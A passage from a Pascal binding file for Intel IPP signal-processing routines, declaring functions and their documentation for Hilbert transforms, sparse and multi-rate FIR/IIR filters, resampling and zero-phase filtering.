pSizeBuf - Pointer to the calculated size of the external work buffer.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length is less than 1.
}
function ippsHilbertGetSize_32f32fc( length : Int32 ; hint : IppHintAlgorithm ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsHilbertInit
Purpose: initializes Hilbert context structure.
Parameters:
length - Number of samples in Hilbert.
hint - Option to select the algorithmic implementation of the transform function (DFT).
pSpec - Pointer to Hilbert context.
pBuffer - Pointer to the buffer for internal calculations.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length is less than 1.
}
function ippsHilbertInit_32f32fc( length : Int32 ; hint : IppHintAlgorithm ; pSpec : IppsHilbertSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsFIRSparseGetStateSize,
ippsFIRSparseInit
Purpose: ippsFIRSparseGetStateSize - calculates the size of the FIRSparse
State structure;
ippsFIRSparseInit - initialize FIRSparse state - set non-zero taps,
their positions and delay line using external memory buffer;
Parameters:
pNZTaps - pointer to the non-zero filter coefficients;
pNZTapPos - pointer to the positions of non-zero filter coefficients;
nzTapsLen - number of non-zero coefficients;
pDlyLine - pointer to the delay line values, can be NULL;
ppState - pointer to the FIRSparse state created or NULL;
order - order of FIRSparse filter
pStateSize - pointer where to store the calculated FIRSparse State
structuresize (in bytes);
Return:
status - status value returned, its value are
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsFIRLenErr - nzTapsLen <= 0
ippStsSparseErr - non-zero tap positions are not in ascending order,
negative or repeated.
ippStsNoErr - otherwise
}
function ippsFIRSparseGetStateSize_32f( nzTapsLen : Int32 ; order : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsFIRSparseInit_32f( ppState : IppsFIRSparseState_32fPtrPtr ; pNZTaps : Ipp32fPtr ; pNZTapPos : Ipp32sPtr ; nzTapsLen : Int32 ; pDlyLine : Ipp32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsIIRSparseGetStateSize,
ippsIIRSparseInit
Purpose: ippsIIRSparseGetStateSize - calculates the size of the
IIRSparse State structure;
ippsIIRSparseInit - initialize IIRSparse state - set non-zero taps,
their positions and delay line using external memory buffer;
Parameters:
pNZTaps - pointer to the non-zero filter coefficients;
pNZTapPos - pointer to the positions of non-zero filter coefficients;
nzTapsLen1,
nzTapsLen2 - number of non-zero coefficients according to the IIRSparseformula;
pDlyLine - pointer to the delay line values, can be NULL;
ppState - pointer to the IIR state created or NULL;
pStateSize - pointer where to store the calculated IIR State structure
size (in bytes);
Return:
status - status value returned, its value are
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsIIROrderErr - nzTapsLen1 <= 0 or nzTapsLen2 < 0
ippStsSparseErr - non-zero tap positions are not in ascending order,
negative or repeated.
ippStsNoErr - otherwise
}
function ippsIIRSparseGetStateSize_32f( nzTapsLen1 : Int32 ; nzTapsLen2 : Int32 ; order1 : Int32 ; order2 : Int32 ; pStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsIIRSparseInit_32f( ppState : IppsIIRSparseState_32fPtrPtr ; pNZTaps : Ipp32fPtr ; pNZTapPos : Ipp32sPtr ; nzTapsLen1 : Int32 ; nzTapsLen2 : Int32 ; pDlyLine : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsFIRSparse
Purpose: FIRSparse filter with float taps. Vector filtering
Parameters:
pSrc - pointer to the input vector
pDst - pointer to the output vector
len - length data vector
pState - pointer to the filter state
Return:
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsSizeErr - length of the vectors <= 0
ippStsNoErr - otherwise
}
function ippsFIRSparse_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; pState : IppsFIRSparseState_32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsFIRSparseSetDlyLine_32f
ippsFIRSparseGetDlyLine_32f
Purpose: Get(set) delay line
Parameters:
pState - pointer to the filter state
pDlyLine - pointer to the delay line values, can be NULL;
Return:
ippStsNullPtrErr - pointer(s) to the data is NULL
}
function ippsFIRSparseSetDlyLine_32f( pState : IppsFIRSparseState_32fPtr ; const pDlyLine : Ipp32fPtr ): IppStatus; _ippapi
function ippsFIRSparseGetDlyLine_32f( pState : IppsFIRSparseState_32fPtr ; pDlyLine : Ipp32fPtr ): IppStatus; _ippapi
{----------------------------------------------------------------------------
Names: ippsIIRSparse
Purpose: IIRSparse filter with float taps. Vector filtering
Parameters:
pSrc - pointer to input vector
pDst - pointer to output vector
len - length of the vectors
pState - pointer to the filter state
Return:
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsSizeErr - length of the vectors <= 0
ippStsNoErr - otherwise
}
function ippsIIRSparse_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; pState : IppsIIRSparseState_32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsAddProductC
Purpose: multiplies elements of of a vector by a constant and adds product to
the accumulator vector
Parameters:
pSrc pointer to the source vector
val constant value
pSrcDst pointer to the source/destination (accumulator) vector
len length of the vectors
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Notes: pSrcDst[n] = pSrcDst[n] + pSrc[n] * val, n=0,1,2,..len-1.
}
function ippsAddProductC_32f( pSrc : Ipp32fPtr ; const val : Ipp32f ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{----------------------------------------------------------------------------
Name: ippsSumWindow_8u32f ippsSumWindow_16s32f
Purpose:
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsMaskSizeErr maskSize has a field with zero, or negative value
Arguments:
pSrc Pointer to the source vector
pDst Pointer to the destination vector
maskSize Size of the mask in pixels
}
function ippsSumWindow_8u32f( pSrc : Ipp8uPtr ; pDst : Ipp32fPtr ; len : Int32 ; maskSize : Int32 ): IppStatus; _ippapi
function ippsSumWindow_16s32f( pSrc : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ; maskSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsCountInRange_32s
Purpose: Computes the number of vector elements falling within the specified range.
Return:
ippStsNoErr No errors, it`s OK
ippStsNullPtrErr Either pSrc or pCounts equals to zero.
ippStsLengthErr The vector`s length is less than or equals to zero.
Arguments:
pSrc A pointer to the source vector.
len Number of the vector elements.
pCounts A pointer to the output result.
lowerBound The upper boundary of the range.
uppreBound The lower boundary of the range.
}
function ippsCountInRange_32s( pSrc : Ipp32sPtr ; len : Int32 ; pCounts : Int32Ptr ; lowerBound : Ipp32s ; upperBound : Ipp32s ): IppStatus; _ippapi
{
Purpose: Creates ramp vector
Parameters:
pDst A pointer to the destination vector
len Vector`s length
offset Offset value
slope Slope coefficient
Return:
ippStsNoErr No error
ippStsNullPtrErr pDst pointer is NULL
ippStsBadSizeErr Vector`s length is less or equal zero
ippStsNoErr No error
Notes: Dst[n] = offset + slope * n
}
function ippsVectorSlope_8u( pDst : Ipp8uPtr ; len : Int32 ; offset : Ipp32f ; slope : Ipp32f ): IppStatus; _ippapi
function ippsVectorSlope_16u( pDst : Ipp16uPtr ; len : Int32 ; offset : Ipp32f ; slope : Ipp32f ): IppStatus; _ippapi
function ippsVectorSlope_16s( pDst : Ipp16sPtr ; len : Int32 ; offset : Ipp32f ; slope : Ipp32f ): IppStatus; _ippapi
function ippsVectorSlope_32u( pDst : Ipp32uPtr ; len : Int32 ; offset : Ipp64f ; slope : Ipp64f ): IppStatus; _ippapi
function ippsVectorSlope_32s( pDst : Ipp32sPtr ; len : Int32 ; offset : Ipp64f ; slope : Ipp64f ): IppStatus; _ippapi
function ippsVectorSlope_32f( pDst : Ipp32fPtr ; len : Int32 ; offset : Ipp32f ; slope : Ipp32f ): IppStatus; _ippapi
function ippsVectorSlope_64f( pDst : Ipp64fPtr ; len : Int32 ; offset : Ipp64f ; slope : Ipp64f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDiv_Round_8u_Sfs
ippsDiv_Round_16u_Sfs
ippsDiv_Round_16s_Sfs
ippsDiv_Round_8u_ISfs
ippsDiv_Round_16u_ISfs
ippsDiv_Round_16s_ISfs
Purpose: divide every element of the source vector by the scalar value
or by corresponding element of the second source vector and
round to zero, near or financial
Arguments:
val the divisor value
pSrc pointer to the divisor source vector
pSrc1 pointer to the divisor source vector
pSrc2 pointer to the dividend source vector
pDst pointer to the destination vector
pSrcDst pointer to the source/destination vector
len vector`s length, number of items
rndMode Rounding mode (ippRndZero, ippRndNear or ippRndFinancial)
scaleFactor scale factor parameter value
Return:
ippStsNullPtrErr pointer(s) to the data vector is NULL
ippStsSizeErr length of the vector is less or equal zero
ippStsDivByZeroErr the scalar divisor value is zero
ippStsDivByZero Warning status if an element of divisor vector is
zero. If the dividend is zero than result is
NaN, if the dividend is not zero than result
is Infinity with correspondent sign. The
execution is not aborted. For the integer operation
zero instead of NaN and the corresponding bound
values instead of Infinity
ippStsRoundModeNotSupportedErr Unsupported round mode
ippStsNoErr otherwise
Note:
DivC(v,X,Y) : Y[n] = X[n] / v
DivC(v,X) : X[n] = X[n] / v
Div(X,Y) : Y[n] = Y[n] / X[n]
Div(X,Y,Z) : Z[n] = Y[n] / X[n]
}
function ippsDiv_Round_8u_Sfs( pSrc1 : Ipp8uPtr ; pSrc2 : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_Round_16s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_Round_16u_Sfs( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_Round_8u_ISfs( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_Round_16s_ISfs( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_Round_16u_ISfs( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsZeroCrossing_*
Purpose: Counts the zero-cross measure for the input signal.
Parameters:
pSrc Pointer to the input signal [len].
len Number of elements in the input signal.
pValZCR Pointer to the result value.
zcType Zero crossing measure type.
Return:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when the pSrc or pRes pointer is null.
ippStsRangeErr Indicates an error when zcType is not equal to
ippZCR, ippZCXor or ippZCC
}
function ippsZeroCrossing_16s32f( pSrc : Ipp16sPtr ; len : Ipp32u ; pValZCR : Ipp32fPtr ; zcType : IppsZCType ): IppStatus; _ippapi
function ippsZeroCrossing_32f( pSrc : Ipp32fPtr ; len : Ipp32u ; pValZCR : Ipp32fPtr ; zcType : IppsZCType ): IppStatus; _ippapi
{ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< }
{ ----------------------------------------------------------------------------
Name: ippsResamplePolyphase, ippsResamplePolyphaseFixed
Purpose: Resample input data.
Arguments:
pSrc The pointer to the input vector.
pDst The pointer to the output vector.
len The number of input vector elements to resample.
norm The norming factor for output samples.
factor The resampling factor.
pTime The pointer to the start time of resampling (in input vector elements).
pOutlen The number of calculated output vector elements
pSpec The pointer to the resampling specification structure.
Return Value
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pSpec, pSrc, pDst, pTime or pOutlen is NULL.
ippStsSizeErr Indicates an error when len is less than or equal to 0.
ippStsBadArgErr Indicates an error when factor is less than or equal to.
}
function ippsResamplePolyphase_16s( pSrc : Ipp16sPtr ; len : Int32 ; pDst : Ipp16sPtr ; factor : Ipp64f ; norm : Ipp32f ; pTime : Ipp64fPtr ; pOutlen : Int32Ptr ; const pSpec : IppsResamplingPolyphase_16sPtr ): IppStatus; _ippapi
function ippsResamplePolyphase_32f( pSrc : Ipp32fPtr ; len : Int32 ; pDst : Ipp32fPtr ; factor : Ipp64f ; norm : Ipp32f ; pTime : Ipp64fPtr ; pOutlen : Int32Ptr ; const pSpec : IppsResamplingPolyphase_32fPtr ): IppStatus; _ippapi
function ippsResamplePolyphaseFixed_16s( pSrc : Ipp16sPtr ; len : Int32 ; pDst : Ipp16sPtr ; norm : Ipp32f ; pTime : Ipp64fPtr ; pOutlen : Int32Ptr ; const pSpec : IppsResamplingPolyphaseFixed_16sPtr ): IppStatus; _ippapi
function ippsResamplePolyphaseFixed_32f( pSrc : Ipp32fPtr ; len : Int32 ; pDst : Ipp32fPtr ; norm : Ipp32f ; pTime : Ipp64fPtr ; pOutlen : Int32Ptr ; const pSpec : IppsResamplingPolyphaseFixed_32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsResamplePolyphaseGetSize, ippsResamplePolyphaseFixedGetSize
Purpose: Determines the size required for the ResamplePolyphase or ResamplePolyphaseFixed.
Arguments:
window The size of the ideal lowpass filter window.
nStep The discretization step for filter coefficients
inRate The input rate for resampling with fixed factor.
outRate The output rate for resampling with fixed factor.
len The filter length for resampling with fixed factor.
pSize Required size in bytes
pLen Filter len
pHeight Number of filter
hint Suggests using specific code. The values for the hint argument are described in "Flag and Hint Arguments"
Return Value
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pSize, pLen or pHeight are NULL.
ippStsSizeErr Indicates an error when inRate, outRate or len is less than or equal to 0.
}
function ippsResamplePolyphaseGetSize_16s( window : Ipp32f ; nStep : Int32 ; var pSize : Int32 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsResamplePolyphaseGetSize_32f( window : Ipp32f ; nStep : Int32 ; var pSize : Int32 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsResamplePolyphaseFixedGetSize_16s( inRate : Int32 ; outRate : Int32 ; len : Int32 ; var pSize : Int32 ; pLen : Int32Ptr ; pHeight : Int32Ptr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsResamplePolyphaseFixedGetSize_32f( inRate : Int32 ; outRate : Int32 ; len : Int32 ; var pSize : Int32 ; pLen : Int32Ptr ; pHeight : Int32Ptr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsResamplePolyphaseInit, ippsResamplePolyphaseFixedInit
Purpose: Initializes ResamplePolyphase of ResamplePolyphaseFixed structures
Arguments:
window The size of the ideal lowpass filter window.
nStep The discretization step for filter coefficients
inRate The input rate for resampling with fixed factor.
outRate The output rate for resampling with fixed factor.
len The filter length for resampling with fixed factor.
rollf The roll-off frequency of the filter.
alpha The parameter of the Kaiser window.
pSpec The pointer to the resampling specification structure to be created.
hint Suggests using specific code. The values for the hint argument are described in "Flag and Hint Arguments"
Return Value
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pSpec is NULL.
ippStsSizeErr Indicates an error when inRate, outRate or len is less than or equal to 0.
}
function ippsResamplePolyphaseInit_16s( window : Ipp32f ; nStep : Int32 ; rollf : Ipp32f ; alpha : Ipp32f ; pSpec : IppsResamplingPolyphase_16sPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsResamplePolyphaseInit_32f( window : Ipp32f ; nStep : Int32 ; rollf : Ipp32f ; alpha : Ipp32f ; pSpec : IppsResamplingPolyphase_32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsResamplePolyphaseFixedInit_16s( inRate : Int32 ; outRate : Int32 ; len : Int32 ; rollf : Ipp32f ; alpha : Ipp32f ; pSpec : IppsResamplingPolyphaseFixed_16sPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsResamplePolyphaseFixedInit_32f( inRate : Int32 ; outRate : Int32 ; len : Int32 ; rollf : Ipp32f ; alpha : Ipp32f ; pSpec : IppsResamplingPolyphaseFixed_32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsResamplePolyphaseSetFixedFilter
Purpose: Set filter coefficient
Arguments:
pSpec The pointer to the resampling specification structure to be created.
pSrc Input vector of filter coefficients [height][step]
step Lenght of filter
height Number of filter
Return Value
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pSpec or pSrc are NULL.
ippStsSizeErr Indicates an error when step or height is less than or equal to 0.
}
function ippsResamplePolyphaseSetFixedFilter_16s( pSrc : Ipp16sPtr ; step : Int32 ; height : Int32 ; pSpec : IppsResamplingPolyphaseFixed_16sPtr ): IppStatus; _ippapi
function ippsResamplePolyphaseSetFixedFilter_32f( pSrc : Ipp32fPtr ; step : Int32 ; height : Int32 ; pSpec : IppsResamplingPolyphaseFixed_32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsResamplePolyphaseGetFixedFilter
Purpose: Get filter coefficient
Arguments:
pSpec The pointer to the resampling specification structure to be created.
pDst Input vector of filter coefficients [height][step]
step Lenght of filter
height Number of filter
Return Value
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pSpec or pSrc are NULL.
ippStsSizeErr Indicates an error when step or height is less than or equal to 0.
}
function ippsResamplePolyphaseGetFixedFilter_16s( pDst : Ipp16sPtr ; step : Int32 ; height : Int32 ; const pSpec : IppsResamplingPolyphaseFixed_16sPtr ): IppStatus; _ippapi
function ippsResamplePolyphaseGetFixedFilter_32f( pDst : Ipp32fPtr ; step : Int32 ; height : Int32 ; const pSpec : IppsResamplingPolyphaseFixed_32fPtr ): IppStatus; _ippapi
{FIR API New Design}
{ ----------------------------------------------------------------------------
Name: ippsFIRSRGetSize, ippsFIRSRInit_32f, ippsFIRSRInit_64f
ippsFIRSR_32f, ippsFIRSR_64f
Purpose: Get sizes of the FIR spec structure and temporary buffer
initialize FIR spec structure - set taps and delay line
perform FIR filtering
and close it
Parameters:
pTaps - pointer to the filter coefficients
tapsLen - number of coefficients
tapsType - type of coefficients (ipp32f or ipp64f)
pSpecSize - pointer to the size of FIR spec
pBufSize - pointer to the size of temporal buffer
algType - mask for the algorithm type definition (direct, fft, auto)
pDlySrc - pointer to the input delay line values, can be NULL
pDlyDst - pointer to the output delay line values, can be NULL
pSpec - pointer to the constant internal structure
pSrc - pointer to the source vector.
pDst - pointer to the destination vector
numIters - length of the destination vector
pBuf - pointer to the work buffer
Return:
status - status value returned, its value are
ippStsNullPtrErr - one of the specified pointer is NULL
ippStsFIRLenErr - tapsLen <= 0
ippStsContextMatchErr - wrong state identifier
ippStsNoErr - OK
ippStsSizeErr - numIters is not positive
ippStsAlgTypeErr - unsupported algorithm type
ippStsMismatch - not effective algorithm.
}
function ippsFIRSRGetSize( tapsLen : Int32 ; tapsType : IppDataType ; var pSpecSize : Int32 ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippsFIRSRInit_32f( pTaps : Ipp32fPtr ; tapsLen : Int32 ; algType : IppAlgType ; pSpec : IppsFIRSpec_32fPtr ): IppStatus; _ippapi
function ippsFIRSRInit_64f( pTaps : Ipp64fPtr ; tapsLen : Int32 ; algType : IppAlgType ; pSpec : IppsFIRSpec_64fPtr ): IppStatus; _ippapi
function ippsFIRSRInit_32fc( pTaps : Ipp32fcPtr ; tapsLen : Int32 ; algType : IppAlgType ; pSpec : IppsFIRSpec_32fcPtr ): IppStatus; _ippapi
function ippsFIRSRInit_64fc( pTaps : Ipp64fcPtr ; tapsLen : Int32 ; algType : IppAlgType ; pSpec : IppsFIRSpec_64fcPtr ): IppStatus; _ippapi
function ippsFIRSR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fPtr ; pDlySrc : Ipp32fPtr ; pDlyDst : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRSR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_64fPtr ; pDlySrc : Ipp64fPtr ; pDlyDst : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRSR_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fcPtr ; pDlySrc : Ipp32fcPtr ; pDlyDst : Ipp32fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRSR_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_64fcPtr ; pDlySrc : Ipp64fcPtr ; pDlyDst : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRSR_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fPtr ; pDlySrc : Ipp16sPtr ; pDlyDst : Ipp16sPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRSR_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fcPtr ; pDlySrc : Ipp16scPtr ; pDlyDst : Ipp16scPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsFIRMRGetSize,
ownippsFIRMRInit_32f, ownippsFIRMRInit_64f, ownippsFIRMRInit_32fc, ownippsFIRMRInit_64fc
ippsFIRMR_32f, ippsFIRMR_32fc, ippsFIRMR_64f, ippsFIRMR_64fc, ippsFIRMR_16s, ippsFIRMR_16sc,
Purpose: Get sizes of the FIR spec structure and temporary buffer,
initialize FIR spec structure - set taps and delay line,
perform multi rate FIR filtering
Parameters:
pTaps - pointer to the filter coefficients
tapsLen - number of coefficients
tapsType - type of coefficients (ipp32f or ipp64f)
pSpecSize - pointer to the size of FIR spec
pBufSize - pointer to the size of temporal buffer
pDlySrc - pointer to the input delay line values, can be NULL
pDlyDst - pointer to the output delay line values, can be NULL
upFactor - multi-rate up factor;
upPhase - multi-rate up phase;
downFactor - multi-rate down factor;
downPhase - multi-rate down phase;
pSpec - pointer to the constant internal structure
pSrc - pointer to the source vector.
pDst - pointer to the destination vector
numIters - length of the destination vector
pBuf - pointer to the work buffer
Return:
status - status value returned, its value are
ippStsNullPtrErr - one of the specified pointer is NULL
ippStsFIRLenErr - tapsLen <= 0
ippStsFIRMRFactorErr - factor <= 0
ippStsFIRMRPhaseErr - phase < 0 || factor <= phase
ippStsContextMatchErr - wrong state identifier
ippStsNoErr - OK
ippStsSizeErr - numIters is not positive
}
function ippsFIRMRGetSize( tapsLen : Int32 ; upFactor : Int32 ; downFactor : Int32 ; tapsType : IppDataType ; var pSpecSize : Int32 ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippsFIRMRInit_32f( pTaps : Ipp32fPtr ; tapsLen : Int32 ; upFactor : Int32 ; upPhase : Int32 ; downFactor : Int32 ; downPhase : Int32 ; pSpec : IppsFIRSpec_32fPtr ): IppStatus; _ippapi
function ippsFIRMRInit_64f( pTaps : Ipp64fPtr ; tapsLen : Int32 ; upFactor : Int32 ; upPhase : Int32 ; downFactor : Int32 ; downPhase : Int32 ; pSpec : IppsFIRSpec_64fPtr ): IppStatus; _ippapi
function ippsFIRMRInit_32fc( pTaps : Ipp32fcPtr ; tapsLen : Int32 ; upFactor : Int32 ; upPhase : Int32 ; downFactor : Int32 ; downPhase : Int32 ; pSpec : IppsFIRSpec_32fcPtr ): IppStatus; _ippapi
function ippsFIRMRInit_64fc( pTaps : Ipp64fcPtr ; tapsLen : Int32 ; upFactor : Int32 ; upPhase : Int32 ; downFactor : Int32 ; downPhase : Int32 ; pSpec : IppsFIRSpec_64fcPtr ): IppStatus; _ippapi
function ippsFIRMR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fPtr ; pDlySrc : Ipp32fPtr ; pDlyDst : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRMR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_64fPtr ; pDlySrc : Ipp64fPtr ; pDlyDst : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRMR_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fcPtr ; pDlySrc : Ipp32fcPtr ; pDlyDst : Ipp32fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRMR_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_64fcPtr ; pDlySrc : Ipp64fcPtr ; pDlyDst : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRMR_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fPtr ; pDlySrc : Ipp16sPtr ; pDlyDst : Ipp16sPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRMR_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; numIters : Int32 ; pSpec : IppsFIRSpec_32fcPtr ; pDlySrc : Ipp16scPtr ; pDlyDst : Ipp16scPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
IIRIIR filters (analogue of FILTFILT)
----------------------------------------------------------------------------
Initialize IIRIIR state, calculate required memory buffer size
----------------------------------------------------------------------------
Order of taps = b0,b1,...,bN,a0,a1,...,aN
N = order
Delay line is in the Direct Form II format
----------------------------------------------------------------------------
Name: ippsIIRIIRGetStateSize,
ippsIIRIIRInit
Purpose: ippsIIRIIRGetStateSize - calculates the size of the IIRIIR
State structure;
ippsIIRIIRInit - initialize IIRIIR state with IIR taps
and delay line using external memory buffer;
Parameters:
pTaps - pointer to the filter coefficients;
order - order of the filter;
pDlyLine - pointer to the delay line, can be NULL;
ppState - double pointer to the IIRIIR state;
tapsFactor - scaleFactor for taps (integer version);
pBufferSize - pointer where to store the calculated IIRIIR
State structure size (in bytes);
Return:
status - status value returned, its value are
ippStsNullPtrErr - pointer(s) ppState or pTaps is NULL;
if IIRIIRInit is called with pDlyLine==NULL then
it forms delay line itself that minimizes start-up
and ending transients by matching initial
conditions to remove DC offset at beginning
and end of input vector.
ippStsIIROrderErr - order <= 0
ippStsDivByZeroErr - a0 == 0.0 ( pTaps[order+1] == 0.0 )
ippStsNoErr - otherwise
}
function ippsIIRIIRGetStateSize64f_32f( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRIIRInit64f_32f( pState : IppsIIRState64f_32fPtrPtr ; pTaps : Ipp64fPtr ; order : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
IIRIIR Filtering
{ ----------------------------------------------------------------------------
Names: ippsIIRIIR
Purpose: performs zero-phase digital IIR filtering by processing
the input vector in both the forward and reverse directions. After filtering
the data in the forward direction, IIRIIR runs the filtered sequence in the
reverse (flipped) order back through the filter. The result has the following
characteristics:
- Zero-phase distortion
- A filter transfer function is equal to the squared magnitude of the
original IIR transfer function
- A filter order that is double the specified IIR order
Parameters:
pState - pointer to filter context
pSrcDst - pointer to input/output vector in in-place ops
pSrc - pointer to input vector
pDst - pointer to output vector
len - length of the vectors
Return:
ippStsContextMatchErr - wrong context identifier
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsLengthErr - length of the vectors < 3*(IIR order)
ippStsNoErr - otherwise
}
function ippsIIRIIR64f_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; pState : IppsIIRState64f_32fPtr ): IppStatus; _ippapi
function ippsIIRIIR64f_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; pState : IppsIIRState64f_32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
IIRIIR - Work with Delay Line
{ ----------------------------------------------------------------------------
Names: ippsIIRIIRGetDlyLine, ippsIIRIIRSetDlyLine
Purpose: set or get delay line
Parameters:
pState - pointer to IIR filter context
pDlyLine - pointer where from load or where to store delay line
Return:
ippStsContextMatchErr - wrong context identifier
ippStsNullPtrErr - pointer(s) pState or pDelay is NULL
if IIRIIRSet is called with pDlyLine==NULL then
the function forms delay line itself that minimizes
start-up and ending transients by matching initial
conditions to remove DC offset at beginning
and end of input vector.
ippStsNoErr - otherwise
}
function ippsIIRIIRGetDlyLine64f_32f( pState : IppsIIRState64f_32fPtr ; pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
function ippsIIRIIRSetDlyLine64f_32f( pState : IppsIIRState64f_32fPtr ; const pDlyLine : Ipp64fPtr ): IppStatus; _ippapi
{
